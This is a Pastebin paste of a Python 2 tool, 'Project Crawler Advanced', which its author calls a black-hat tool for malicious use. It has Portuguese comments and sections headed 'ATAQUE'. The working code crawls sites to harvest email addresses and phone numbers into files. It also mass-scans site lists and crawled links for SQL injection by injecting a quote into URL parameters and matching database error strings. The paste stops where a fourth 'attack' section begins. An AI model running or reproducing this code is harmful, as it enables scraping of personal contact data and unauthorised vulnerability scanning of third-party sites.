DarkProgrammer000

Project Crawler [python 2]

Oct 26th, 2019
1,295
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. # coding=utf-8
  2. """
  3. Python: 2
  4. Programa: Project Crawler Advanced
  5. Sistema: LINUX
  6. Funcoes: Salvar emails, telefones, investigacao completa de 1 ou milhoes de paginas em sequencia
  7. Alerta: Hackers, Crackers, Script kiddies usem com cuidado
  8.  
  9. #########################################
  10. #          Dark Programmer 000          #
  11. #########################################
  12.  
  13. Black Hat: Cria métodos, ferramentas, e scripts desenvolvidos para uso malicioso.
  14. """
  15.  
  16. # Bibliotecas
  17. import os
  18. import re
  19. import sys
  20. import bs4
  21. import time
  22. import requests
  23. import itertools
  24. import threading
  25.  
  26. ##################################
  27. #          ATAQUE 1              #
  28. ##################################
  29.  
  30. # Crawler_HTML: Copia de HTML [Code Review OK]
  31. def Crawler_HTML():
  32.  
  33.     try:
  34.         # Apresentacao
  35.         os.system("clear")
  36.         print("")
  37.         print("\033[01;34m +++++++++++++++++++++++++  \033[01;37m")
  38.         print("\033[01;36m      Crawler               \033[01;37m")
  39.         print("\033[01;32m      Copy HTML             \033[01;37m")
  40.         print("\033[01;34m ++++++++++++++++++++++++++ \033[01;37m")
  41.         print("\n\033[01;35m !!! Lista (site.txt) !!! \033[01;37m")
  42.         print("\033[01;31m # Obs: Coloque o site dentro do arquivo \n\033[01;37m")
  43.  
  44.         # Estrutura de decisao: Criando diretorio caso nao exista
  45.         if not os.path.exists("html"):
  46.  
  47.             # Criando diretorio
  48.             os.mkdir("html")
  49.  
  50.         # Abertura de arquivo
  51.         file = open("sites.txt", "r")
  52.  
  53.         # Leitura sem pulo de linha
  54.         sites = file.read().rsplit("\n")
  55.  
  56.         # Cabecalho
  57.         header = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0"}
  58.  
  59.         # Estrutura de repeticao: Analisando os sites
  60.         for i in range(0, len(sites)):
  61.  
  62.             try:
  63.                 # Estrutura de decisao
  64.                 if (i+1) == len(sites):
  65.  
  66.                     print("\033[01;32m * Copia de url(s) concluida(s) \033[01;37m\n")
  67.  
  68.                     # Fechando arquivo
  69.                     os.system("mv url[*.html html/")
  70.                     html_file.close()
  71.                     break
  72.  
  73.                 else:
  74.                     # Arquivo criado
  75.                     html_file = open("url[" + str(i + 1) + "].html", "w")
  76.  
  77.                     # Requisicao HTML
  78.                     html = requests.get(url=sites[i], headers=header).text
  79.  
  80.                     # Gerando relatorio em html
  81.                     html_file.write(html)
  82.  
  83.                     print("\033[01;34m * Copia de url[" + str((i + 1)) + "] concluida(s) \033[01;37m\n")
  84.  
  85.             except:
  86.                 continue
  87.     except:
  88.         pass
  89.  
  90. ##################################
  91. #          ATAQUE 2              #
  92. ##################################
  93.  
  94. # Crawler_Forensics_menu: Menu [Code Review OK]
  95. def Crawler_Forensics_menu():
  96.  
  97.     try:
  98.         # Lista
  99.         lista_menu = ["1", "2"]
  100.  
  101.         # Apresentacao
  102.         os.system("clear")
  103.         print("")
  104.         print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  105.         print("\033[01;36m      Crawler              \033[01;37m")
  106.         print("\033[01;32m      Forensics            \033[01;37m")
  107.         print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  108.         print("\033[01;32m\n [1] Pagina             \033[01;37m")
  109.         print("\033[01;33m [2] Infinitas paginas  \033[01;37m")
  110.         print("")
  111.  
  112.         # Entrada de dados
  113.         opc = raw_input("\033[01;34m * Opc: \033[01;37m")
  114.  
  115.         # Estrutura em laco
  116.         while opc not in lista_menu:
  117.  
  118.             try:
  119.                 # Apresentacao
  120.                 os.system("clear")
  121.                 print("")
  122.                 print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  123.                 print("\033[01;36m      Crawler              \033[01;37m")
  124.                 print("\033[01;32m      Forensics            \033[01;37m")
  125.                 print("\033[01;34m +++++++++++++++++++++++++ \033[01;37m")
  126.                 print("\n\033[01;35m !!! Lista (site.txt) !!! \033[01;37m")
  127.                 print("\033[01;31m # Obs: Coloque o site dentro do arquivo \n\033[01;37m")
  128.                 print("\033[01;32m [1] Pagina             \033[01;37m")
  129.                 print("\033[01;33m [2] Infinitas paginas  \033[01;37m")
  130.  
  131.                 # Entrada de dados
  132.                 opc = raw_input("\n\033[01;34m * Opc: \033[01;37m")
  133.  
  134.             except:
  135.                 continue
  136.  
  137.         ### Estrutura de decisao ###
  138.  
  139.         # Opcao 1
  140.         if opc == "1":
  141.  
  142.             # Chamada de metodo
  143.             Crawler_Forensics_page()
  144.  
  145.         # Opcao 2
  146.         elif opc == "2":
  147.  
  148.             # Chamada de metodo
  149.             Crawler_Forensics_infinity()
  150.  
  151.     except:
  152.         pass
  153.  
  154. # Crawler_Forensics_page: Crawler forense (email, links e telefone) [Code Review OK]
  155. def Crawler_Forensics_page():
  156.  
  157.     try:
  158.         # Apresentacao
  159.         os.system("clear")
  160.         print("")
  161.         print("\033[01;34m ++++++++++++++++++++++++ \033[01;34m")
  162.         print("\033[01;36m        Forensics         \033[01;34m")
  163.         print("\033[01;32m        Page              \033[01;34m")
  164.         print("\033[01;34m ++++++++++++++++++++++++ \033[01;34m")
  165.         print("\n\033[01;35m !!! Lista (site.txt) !!! \033[01;34m")
  166.         print("\033[01;31m # Obs: Coloque o site dentro do arquivo \n\033[01;37m")
  167.  
  168.         # Estrutura de decisao: Criando diretorio caso nao exista
  169.         if not os.path.exists("Forensics_page"):
  170.  
  171.             # Criando diretorio
  172.             os.mkdir("Forensics_page")
  173.  
  174.         # Lista de Emails
  175.         lista_email = open("email.txt", "w")
  176.  
  177.         # Lista de Telefone
  178.         lista_telefone = open("telefone.txt", "w")
  179.  
  180.         # Movendo arquivo para diretorio
  181.         os.system("mv email.txt telefone.txt Forensics_page/")
  182.  
  183.         # Abertura de arquivo
  184.         file = open("sites.txt", "r")
  185.  
  186.         # Leitura de arquivo
  187.         sites = file.read().rsplit("\n")
  188.  
  189.         # Cabecalho
  190.         header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"}
  191.  
  192.         # Estrutura de repeticao: Links dos sites
  193.         for i in range(0, len(sites)):
  194.  
  195.             try:
  196.                 # Apresentacao
  197.                 time.sleep(2)
  198.                 os.system("clear")
  199.                 print(" ----------------------------------------------- ")
  200.                 print("\033[01;32m + Crawling Site: \033[01;37m" + str(sites[i]))
  201.                 print(" ------------------------------------------------ ")
  202.                 print("")
  203.  
  204.                 # Requisicao HTML
  205.                 html = requests.get(url=sites[i], headers=header).text
  206.  
  207.                 # Regex
  208.                 '''
  209.                \w --> Letras maiusculas e minusculas
  210.                 _ --> Caractere
  211.                '''
  212.  
  213.                 #############################################################################################
  214.                 # Forense: Links na pagina HTML
  215.                 link = re.findall("http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*(),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", html)
  216.  
  217.                 ## Estrutura de repeticao: LINK
  218.                 print("\n  ***************************************** ")
  219.                 for a in range(0, len(link)):
  220.  
  221.                     # Links
  222.                     print("\033[01;34m  - Link: \033[01;37m" + str(link[a]))
  223.  
  224.                 print("  ***************************************** ")
  225.  
  226.                 #############################################################################################
  227.                 # Forense: Emails na pagina HTML
  228.                 email = re.findall("[a-zA-Z0-9+_\-.]+@[0-9a-zA-Z][.-0-9a-zA-Z]*.[a-zA-Z]+", html)
  229.                 lista_email.write("\n - Site: " + str(sites[i] + "\n"))
  230.  
  231.                 ## Estrutura de repeticao: EMAIL
  232.                 print("\n  ***************************************** ")
  233.                 for b in range(0, len(email)):
  234.  
  235.                     # Emails
  236.                     print("\033[01;33m  - Email: " + str(email[b]) + "\033[01;37m")
  237.  
  238.                     # Estrutura de decisao: Email dentro da lista
  239.                     if email[b] in email:
  240.  
  241.                         # Escrevendo em relatorio
  242.                         lista_email.write(" # " + str(email[b]) + "\n")
  243.  
  244.                 print("  ***************************************** ")
  245.  
  246.                 #############################################################################################
  247.                 # Forense: Telefones na pagina HTML
  248.                 telefone = re.findall("(\(?\d{2}\)?\s)?(\d{4,5}-\d{4})", html)
  249.                 lista_telefone.write("\n - Site: " + str(sites[i]) + "\n")
  250.  
  251.                 ## Estrutura de repeticao: TELEFONE
  252.                 print("\n  ***************************************** ")
  253.                 for c in range(0, len(telefone)):
  254.  
  255.                     # Telefone
  256.                     print("\033[01;36m  - Telefone: " + str(telefone[c][0]) + str(telefone[c][1]) + "\033[01;37m")
  257.  
  258.                     # Estrutura de decisao: Telefone dentro da lista
  259.                     if telefone[c] in telefone:
  260.  
  261.                         # Escrevendo em relatorio
  262.                         lista_telefone.write(" # " + str(telefone[c][0]) + str(telefone[c][1]) + "\n")
  263.  
  264.                 print("  ***************************************** ")
  265.  
  266.                 # Fechando arquivo
  267.                 print("\n  ***************************************** ")
  268.                 print("\033[01;31m  * Pericia concluida(s) \033[01;37m")
  269.                 print("  ***************************************** ")
  270.  
  271.                 # Controle
  272.                 qtd_sites = len(sites)
  273.                 qtd_sites -= 1
  274.  
  275.                 # Estrutura de decisao
  276.                 if qtd_sites == 0:
  277.                     break
  278.  
  279.             except:
  280.                 continue
  281.  
  282.     except Exception as e:
  283.         print(e)
  284.  
  285. # Crawler forense (email, links e telefone) de infinitas paginas [Code Review OK]
  286. def Crawler_Forensics_infinity():
  287.  
  288.     # Listas de controle
  289.     lista = []
  290.     lista_inteligente = set()
  291.  
  292.     try:
  293.         # Apresentacao
  294.         os.system("clear")
  295.         print("")
  296.         print("\033[01;34m ++++++++++++++++++++++++ \033[01;34m")
  297.         print("\033[01;36m        Forensics         \033[01;34m")
  298.         print("\033[01;32m        Infinity Page     \033[01;34m")
  299.         print("\033[01;34m ++++++++++++++++++++++++ \033[01;34m")
  300.         print("")
  301.  
  302.         # Entrada de dados
  303.         url = raw_input("\033[01;31m * URL: \033[01;37m")
  304.         qtd_page = int(raw_input("\033[01;31m\n * Numero de paginas (Ex: 10): \033[01;37m"))
  305.         lista.append(url)
  306.  
  307.         # Criando diretorio caso nao exista
  308.         if not os.path.exists("Forensics_Infinity_page"):
  309.  
  310.             # Criando diretorio
  311.             os.mkdir("Forensics_Infinity_page")
  312.  
  313.         # Lista de Emails
  314.         lista_email = open("email.txt", "w")
  315.  
  316.         # Lista de Telefone
  317.         lista_telefone = open("telefone.txt", "w")
  318.  
  319.         # Movendo arquivo para diretorio
  320.         os.system("mv email.txt telefone.txt Forensics_Infinity_page/")
  321.  
  322.         # Cabecalho
  323.         header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"}
  324.  
  325.         # Estrutura de repeticao: Limite de paginas a procurar
  326.         cont = 0
  327.         while cont <= qtd_page:
  328.  
  329.             # Controle de fluxo
  330.             if cont == qtd_page:
  331.                 sys.exit(0)
  332.  
  333.             # Controle
  334.             cont += 1
  335.  
  336.             try:
  337.  
  338.                 # Apresentacao
  339.                 os.system("clear")
  340.                 print(" ----------------------------------------------- ")
  341.                 print("\033[01;32m + Crawling Site: \033[01;37m" + str(lista[0]))
  342.                 print(" ------------------------------------------------ ")
  343.                 print("")
  344.  
  345.                 # Requisicao HTML
  346.                 html = requests.get(url=lista[0], headers=header).text
  347.  
  348.                 # Regex
  349.                 '''
  350.                \w --> Letras maiusculas e minusculas
  351.                 _ --> Caractere
  352.                '''
  353.  
  354.                 #############################################################################################
  355.                 # Forense: Links na pagina HTML
  356.                 link = re.findall("http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*(),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", html)
  357.  
  358.                 ## Estrutura de repeticao: LINK
  359.                 print("\n  ***************************************** ")
  360.                 for a in range(0, len(link)):
  361.  
  362.                     # Links
  363.                     print("\033[01;34m  - Link: \033[01;37m" + str(link[a]))
  364.  
  365.                     # Estrutura de decisao
  366.                     if (link[a] not in lista) and (link[a] not in lista_inteligente):
  367.  
  368.                         # Escrevendo relatorio
  369.                         lista.append(link[a])
  370.  
  371.                 print("  ***************************************** ")
  372.  
  373.                 #############################################################################################
  374.                 # Forense: Emails na pagina HTML
  375.                 email = re.findall("[a-zA-Z0-9+_\-.]+@[0-9a-zA-Z][.-0-9a-zA-Z]*.[a-zA-Z]+", html)
  376.                 lista_email.write("\n - Site: " + str(lista[0] + "\n"))
  377.  
  378.                 ## Estrutura de repeticao: EMAIL
  379.                 print("\n  ***************************************** ")
  380.                 for b in range(0, len(email)):
  381.  
  382.                     # Emails
  383.                     print("\033[01;33m  - Email: " + str(email[b]) + "\033[01;37m")
  384.  
  385.                     # Estrutura de decisao
  386.                     if email[b] in email:
  387.  
  388.                         # Escrevendo relatorio
  389.                         lista_email.write(" # " + str(email[b]) + "\n")
  390.  
  391.                 print("  ***************************************** ")
  392.  
  393.                 #############################################################################################
  394.                 # Forense: Telefones na pagina HTML
  395.                 telefone = re.findall("(\(?\d{2}\)?\s)?(\d{4,5}-\d{4})", html)
  396.                 lista_telefone.write("\n - Site: " + str(lista[0]) + "\n")
  397.  
  398.                 ## Estrutura de repeticao: TELEFONE
  399.                 print("\n  ***************************************** ")
  400.                 for c in range(0, len(telefone)):
  401.  
  402.                     # Telefones
  403.                     print("\033[01;36m  - Telefone: " + str(telefone[c][0]) + str(telefone[c][1]) + "\033[01;37m")
  404.  
  405.                     # Estrutura de decisao
  406.                     if telefone[c] in telefone:
  407.  
  408.                         # Escrevendo relatorio
  409.                         lista_telefone.write(" # " + str(telefone[c][0]) + str(telefone[c][1]) + "\n")
  410.  
  411.                 print("  ***************************************** ")
  412.  
  413.                 # Fechando arquivo
  414.                 print("\n  ***************************************** ")
  415.                 print("\033[01;31m  * Pericia concluida \033[01;37m")
  416.                 print("  ***************************************** ")
  417.  
  418.                 # Adicioanar a lista inteligente e retirar da lista normal
  419.                 lista_inteligente.add(lista[0])
  420.                 lista.remove(lista[0])
  421.  
  422.                 # Estrutura de repeticao
  423.                 print("\n")
  424.  
  425.                 # Estrutura de repeticao: Contagem regressiva
  426.                 for d in range(1, 4):
  427.  
  428.                     print("\033[01;31m ! Reiniciando ... \033[01;37m" + str(d))
  429.                     time.sleep(1)
  430.  
  431.                 print("\n")
  432.  
  433.             except:
  434.                 continue
  435.  
  436.     except Exception as e:
  437.         print(e)
  438.  
  439. ##################################
  440. #          ATAQUE 3              #
  441. ##################################
  442.  
  443. # Crawler_SQL_menu: Menu [Code Review OK]
  444. def Crawler_SQL_menu():
  445.  
  446.     try:
  447.         # Lista
  448.         lista_menu = ["1", "2", "3"]
  449.  
  450.         # Apresentacao
  451.         os.system("clear")
  452.         print("")
  453.         print("\033[01;34m ++++++++++++++++++++++++++ \033[01;37m")
  454.         print("\033[01;36m      Crawler               \033[01;37m")
  455.         print("\033[01;32m      SQL Injection Test    \033[01;37m")
  456.         print("\033[01;34m ++++++++++++++++++++++++++ \033[01;37m")
  457.         print("\033[01;32m [1] Site              \033[01;37m")
  458.         print("\033[01;33m [2] Links do site     \033[01;37m")
  459.         print("\033[01;34m [3] Infinitas paginas \033[01;37m")
  460.         print("")
  461.  
  462.         # Entrada de dados
  463.         opc = raw_input("\033[01;31m * Opc: \033[01;37m")
  464.  
  465.         # Estrutura em laco
  466.         while opc not in lista_menu:
  467.  
  468.             try:
  469.                 # Apresentacao
  470.                 os.system("clear")
  471.                 print("")
  472.                 print("\033[01;34m ++++++++++++++++++++++++++ \033[01;37m")
  473.                 print("\033[01;36m      Crawler               \033[01;37m")
  474.                 print("\033[01;32m      SQL Injection Test    \033[01;37m")
  475.                 print("\033[01;34m ++++++++++++++++++++++++++ \033[01;37m")
  476.                 print("\033[01;32m [1] Site              \033[01;37m")
  477.                 print("\033[01;33m [2] Links do site     \033[01;37m")
  478.                 print("\033[01;34m [3] Infinitas paginas \033[01;37m")
  479.  
  480.                 # Entrada de dados
  481.                 opc = raw_input("\n\033[01;31m Opc: \033[01;37m")
  482.  
  483.             except:
  484.                 continue
  485.  
  486.         ## Estrutura de decisao ##
  487.  
  488.         # Opcao 1
  489.         if opc == "1":
  490.  
  491.             # Chamada de metodo
  492.             Crawler_SQL_site()
  493.  
  494.         # Opcao 2
  495.         if opc == "2":
  496.  
  497.             # Chamada de metodo
  498.             Crawler_SQL_page()
  499.  
  500.         # Opcao 3
  501.         elif opc == "3":
  502.  
  503.             # Chamada de metodo
  504.             Crawler_SQL_infinity()
  505.  
  506.     except:
  507.         pass
  508.  
  509. # Crawler_SQL_site: Teste da URL [Code Review OK]
  510. def Crawler_SQL_site():
  511.  
  512.     try:
  513.         # Apresentacao
  514.         os.system("clear")
  515.         print("\033[01;34m +++++++++++++++++++++++++++++++++ \033[01;37m")
  516.         print("\033[01;36m      Crawler                      \033[01;37m")
  517.         print("\033[01;32m      SQL Injection Site Test      \033[01;37m")
  518.         print("\033[01;34m +++++++++++++++++++++++++++++++++ \033[01;37m")
  519.         print("\n\033[01;35m !!! Lista (site.txt) !!! \033[01;37m")
  520.         print("\033[01;31m # Obs: Coloque o site dentro do arquivo \n\033[01;37m")
  521.  
  522.         # Contagem de sites vulneraveis
  523.         cont = 0
  524.  
  525.         # Abertura de arquivos
  526.         sql_teste = open("sites.txt", "r")
  527.  
  528.         # Relatorio dos sites vulneraveis
  529.         sql_vuln = open("sites_vulneraveis.txt", "w")
  530.  
  531.         # Estrutura de decisao: Criando diretorio caso nao exista
  532.         if not os.path.exists("Crawler_Sql_Site"):
  533.  
  534.             # Criando diretorio
  535.             os.mkdir("Crawler_Sql_Site")
  536.  
  537.         # Movendo arquivo para diretorio
  538.         os.system("mv sites_vulneraveis.txt Crawler_Sql_Site/")
  539.  
  540.         # Leitura dos sites a serem analisados
  541.         lista_url = sql_teste.read().split("\n")
  542.  
  543.         # Cabecalho (header)
  544.         cabecalho = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"}
  545.  
  546.         print(" ****************************************************************** ")
  547.         # Estrutura de repeticao: Links
  548.         for i in range(0, len(lista_url)):
  549.  
  550.             try:
  551.                 # Tupla 1 da url: (http://www.site.com.br/login.php?id=) -- Tupla 2(1)
  552.                 url_tupla_1 = re.findall("([\w:/._\-?]+=)([\w_\-]+)", lista_url[i])
  553.                 url_inject = str(url_tupla_1[0][0]) + "'"
  554.  
  555.                 # Requisicao GET
  556.                 html = requests.get(url=url_inject, headers=cabecalho).text
  557.  
  558.                 # Saida de erros de SQL
  559.                 e1 = "mysql_fetch_array()" in html
  560.                 e2 = "Database error" in html
  561.                 e3 = "MySQL Error" in html
  562.                 e4 = "You have an error in your SQL syntax" in html
  563.                 e5 = "check the manual that corresponds to your MySQL server" in html
  564.                 e6 = "mysql_num_rows()" in html
  565.                 e7 = "mysql_num_rows() expects parameter 1" in html
  566.                 e8 = "mysql_num_rows() expects parameter 1 to be resource" in html
  567.                 e9 = "supplied argument is not a valid MySQL" in html
  568.                 e10 = "Microsoft OLE DB Provider for SQL Server error '80040e14'" in html
  569.  
  570.                 # Estrutura de decisao: Qualificacao de erros
  571.                 if e1 or e2 or e3 or e4 or e5 or e6 or e7 or e8 or e9 or e10:
  572.  
  573.                     # Mensagem (colorindo o arquivo)
  574.                     print("\033[01;31m * Vulneravel: " + str(lista_url[i]).rstrip("\n") + "\033[01;37m")
  575.  
  576.                     # Mensagem (sem colorindo o arquivo)
  577.                     #print("\033[01;31m * Vulneravel: \033[01;37m" + str(lista_url[i]))
  578.  
  579.                     # Escrevendo no arquivo
  580.                     sql_vuln.write("\n* " + lista_url[i])
  581.  
  582.                     # Contador de sites vulneraveis
  583.                     cont += 1
  584.  
  585.                 else:
  586.  
  587.                     # Mensagem (colorindo o arquivo)
  588.                     print("\033[01;32m + Protegido : " + str(lista_url[i]).rstrip("\n") + "\033[01;37m")
  589.  
  590.                     # Mensagem (nao colorindo o arquivo)
  591.                     # print("\033[01;32m + Protegido : \033[01;37m" + str(lista_url[i]))
  592.  
  593.                 # Controle
  594.                 qtd_sites = len(lista_url)
  595.                 qtd_sites -= 1
  596.  
  597.                 if qtd_sites == 0:
  598.                     break
  599.  
  600.             except:
  601.                 continue
  602.  
  603.         # Salvando em relatorio
  604.         sql_vuln.write("\n\n# Sites vulneraveis: " + str(cont))
  605.  
  606.         # Fechamento de arquivo
  607.         sql_teste.close()
  608.         sql_vuln.close()
  609.  
  610.         print(" ****************************************************************** ")
  611.  
  612.     except:
  613.         pass
  614.  
  615. # Crawler_SQL_page: Teste de sql por link de pagina [Code Review OK]
  616. def Crawler_SQL_page():
  617.  
  618.     try:
  619.         # Apresentacao
  620.         os.system("clear")
  621.         print("")
  622.         print("\033[01;34m ++++++++++++++++++++++++++++++++ \033[01;34m")
  623.         print("\033[01;36m      Crawler                     \033[01;34m")
  624.         print("\033[01;32m      SQL Injection Test Page     \033[01;34m")
  625.         print("\033[01;34m ++++++++++++++++++++++++++++++++ \033[01;34m")
  626.         print("\n\033[01;35m !!! Lista (site.txt) !!! \033[01;34m")
  627.         print("\033[01;31m # Obs: Coloque o site dentro do arquivo \n\033[01;37m")
  628.  
  629.         # Abertura de arquivos
  630.         sql_teste = open("sites.txt", "r")
  631.  
  632.         # Relatorio dos sites vulneraveis
  633.         sql_vuln = open("sites_vulneraveis.txt", "w")
  634.  
  635.         # Criando diretorio caso nao exista
  636.         if not os.path.exists("Crawler_Sql_Page"):
  637.  
  638.             # Criando diretorio
  639.             os.mkdir("Crawler_Sql_Page")
  640.  
  641.         # Movendo arquivo para diretorio
  642.         os.system("mv sites_vulneraveis.txt Crawler_Sql_Page/")
  643.  
  644.         # Leitura de arquivo sem pulo de linha
  645.         sites = sql_teste.read().rsplit("\n")
  646.  
  647.         # Cabecalho
  648.         header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"}
  649.  
  650.         # Estrutura de repeticao: Sites na lista
  651.         cont = 0
  652.         for i in range(0, len(sites)):
  653.  
  654.             try:
  655.                 # Apresentacao
  656.                 os.system("clear")
  657.                 print(" ----------------------------------------------- ")
  658.                 print("\033[01;32m + Crawling Site: \033[01;37m" + str(sites[i]))
  659.                 print(" ------------------------------------------------ ")
  660.                 print("")
  661.  
  662.                 # Requisicao HTML
  663.                 html = requests.get(url=sites[i], headers=header).text
  664.  
  665.                 # Regex
  666.                 '''
  667.                \w --> Letras maiusculas e minusculas
  668.                 _ --> Caractere
  669.                '''
  670.  
  671.                 #############################################################################################
  672.                 # Forense: Links na pagina HTML
  673.                 link = re.findall("http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*(),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", html)
  674.  
  675.                 ## Estrutura de repeticao: LINK
  676.                 print("\n  ***************************************** ")
  677.                 for a in range(0, len(link)):
  678.  
  679.                     if sql_scan_support(link[a]):
  680.  
  681.                         # Mensagem
  682.                         print("\033[01;32m - Vulneravel : " + str(link[a]) + "\033[01;37m")
  683.                         cont += 1
  684.  
  685.                         # Salvando em relatorio
  686.                         sql_vuln.write(link[a] + "\n")
  687.  
  688.                     else:
  689.  
  690.                         # Mensagem
  691.                         print("\033[01;31m - Protegido : " + str(link[a]) + "\033[01;37m")
  692.  
  693.                 print("  ***************************************** ")
  694.  
  695.                 # Fechando arquivo
  696.                 print("\n  ***************************************** ")
  697.                 print("\033[01;31m  * Pericia concluida \033[01;37m")
  698.                 print("  ***************************************** ")
  699.                 time.sleep(2)
  700.  
  701.                 # Controle
  702.                 qtd_sites = len(sites)
  703.                 qtd_sites -= 1
  704.  
  705.                 if qtd_sites == 0:
  706.                     break
  707.  
  708.             except:
  709.                 continue
  710.  
  711.         # Salvando em relatorio
  712.         print("\n\033[01;31m  # Links vulneraveis: " + str(cont) + "\n\033[01;37m")
  713.  
  714.         # Fechamento de arquivo
  715.         sql_teste.close()
  716.  
  717.     except Exception as e:
  718.         print(e)
  719.  
  720. # Crawler SQL (Teste de sql por links infinitos)
  721. def Crawler_SQL_infinity():
  722.  
  723.     # Listas de controle
  724.     lista = []
  725.     lista_inteligente = set()
  726.  
  727.     try:
  728.         # Apresentacao
  729.         os.system("clear")
  730.         print("")
  731.         print("\033[01;34m +++++++++++++++++++++++++++++++++++++ \033[01;37m")
  732.         print("\033[01;36m      Crawler                          \033[01;37m")
  733.         print("\033[01;32m      SQL Injection Test Infinity      \033[01;37m")
  734.         print("\033[01;34m +++++++++++++++++++++++++++++++++++++ \033[01;37m")
  735.         print("")
  736.  
  737.         # Entrada de dados
  738.         url = raw_input("\033[01;31m\n * URL: \033[01;37m")
  739.         qtd_page = int(raw_input("\033[01;31m\n * Numero de paginas (Ex: 10): \033[01;37m"))
  740.         lista.append(url)
  741.  
  742.         # Relatorio dos sites vulneraveis
  743.         sql_vuln = open("sites_vulneraveis.txt", "w")
  744.  
  745.         # Criando diretorio caso nao exista
  746.         if not os.path.exists("Crawler_Sql_Infinity"):
  747.  
  748.             # Criando diretorio
  749.             os.mkdir("Crawler_Sql_Infinity")
  750.  
  751.         # Movendo arquivo para diretorio
  752.         os.system("mv sites_vulneraveis.txt Crawler_Sql_Infinity/")
  753.  
  754.         # Cabecalho
  755.         header = {"User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"}
  756.  
  757.         # Estrutura de repeticao: Limite de paginas a procurar
  758.         cont = 0
  759.         cont_vuln = 0
  760.         while cont < qtd_page:
  761.  
  762.             # Controle de fluxo
  763.             if cont == qtd_page:
  764.                 break
  765.  
  766.             # Contador
  767.             cont += 1
  768.  
  769.             try:
  770.                 os.system("clear")
  771.                 print(" ----------------------------------------------- ")
  772.                 print("\033[01;32m + Crawling Site: \033[01;37m" + str(lista[0]))
  773.                 print(" ------------------------------------------------ ")
  774.                 print("")
  775.  
  776.                 # Requisicao HTML
  777.                 html = requests.get(url=lista[0], headers=header).text
  778.  
  779.                 # Regex
  780.                 '''
  781.                \w --> Letras maiusculas e minusculas
  782.                 _ --> Caractere
  783.                '''
  784.  
  785.                 #############################################################################################
  786.                 # Forense: Links na pagina HTML
  787.                 link = re.findall("http[s]?://(?:[a-zA-Z]|[0-9]|[$-_@.&+]|[!*(),]|(?:%[0-9a-fA-F][0-9a-fA-F]))+", html)
  788.  
  789.                 ## Estrutura de repeticao: LINK
  790.                 print("\n  ***************************************** ")
  791.                 for a in range(0, len(link)):
  792.  
  793.                     # Estrutura de decisao
  794.                     if (link[a] not in lista) and (link[a] not in lista_inteligente):
  795.                         lista.append(link[a])
  796.  
  797.                         # Estrutura de decisao
  798.                         if sql_scan_support(link[a]):
  799.  
  800.                             # Mensagem
  801.                             print("\033[01;32m - Vulneravel : " + str(link[a]) + "\033[01;37m")
  802.                             cont_vuln += 1
  803.  
  804.                             # Salvando em relatorio
  805.                             sql_vuln.write(link[a] + "\n")
  806.  
  807.                         else:
  808.  
  809.                             print("\033[01;31m - Protegido : " + str(link[a]) + "\033[01;37m")
  810.  
  811.                 print("  ***************************************** ")
  812.  
  813.                 # Fechando arquivo
  814.                 print("\n  ***************************************** ")
  815.                 print("\033[01;31m  * Pericia concluida \033[01;37m")
  816.                 print("  ***************************************** ")
  817.  
  818.                 # Adicioanar a lista inteligente e retirar da lista normal
  819.                 lista_inteligente.add(lista[0])
  820.                 lista.remove(lista[0])
  821.  
  822.                 # Estrutura de repeticao
  823.                 print("\n")
  824.  
  825.                 # Estrutura de repeticao: Contagem regressiva
  826.                 for d in range(1, 4):
  827.  
  828.                     # Mensagem
  829.                     print("\033[01;31m ! Reiniciando ... \033[01;37m" + str(d))
  830.                     time.sleep(1)
  831.  
  832.                 print("")
  833.  
  834.             except:
  835.                 continue
  836.  
  837.         # Salvando em relatorio
  838.         print("\033[01;31m # Links vulneraveis: " + str(cont_vuln) + "\n\033[01;37m")
  839.  
  840.         # Fechamento de arquivo
  841.         sql_vuln.close()
  842.  
  843.     except Exception as e:
  844.         print(e)
  845.  
  846. # Suporte
  847. def sql_scan_support(link):
  848.  
  849.     try:
  850.  
  851.         cabecalho = {"user-agent": "Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0)"}
  852.  
  853.         # Identificando tupla 1
  854.         url_tupla_1 = re.search("([\w:/._\-?]+=)([\w_.\-]+)", link)  # (http://testphp.vulnweb.com/artists.php?artist=) (1)
  855.  
  856.         # Retirar tupla 2 e injetar com a tupla 1: Tupla 1 + '
  857.         url_injetada = url_tupla_1.groups()[0] + "'"
  858.  
  859.         # Requisicao da URL com possivel falha
  860.         html = requests.get(url=url_injetada, headers=cabecalho).text
  861.  
  862.         # Saida de erros
  863.         e1 = "mysql_fetch_array()" in html
  864.         e2 = "Database error" in html
  865.         e3 = "MySQL Error" in html
  866.         e4 = "You have an error in your SQL syntax" in html
  867.         e5 = "check the manual that corresponds to your MySQL server" in html
  868.         e6 = "mysql_num_rows()" in html
  869.         e7 = "mysql_num_rows() expects parameter 1" in html
  870.         e8 = "mysql_num_rows() expects parameter 1 to be resource" in html
  871.         e9 = "supplied argument is not a valid MySQL" in html
  872.         e10 = "Microsoft OLE DB Provider for SQL Server error '80040e14'" in html
  873.  
  874.         # Estrutura de decisao: Qualificacao de erros
  875.         if e1 or e2 or e3 or e4 or e5 or e6 or e7 or e8 or e9 or e10:
  876.  
  877.             # Retorno verdadeiro
  878.             return True
  879.  
  880.         else:
  881.  
  882.             # Retorno falso
  883.             return False
  884.  
  885.     except:
  886.         pass
  887.  
  888. ##################################
  889. #          ATAQUE 4              #
  890. ##################################
  891.  
  892. # Crawler_BOT_menu (OK)
  893. def Crawler_BOT_menu():
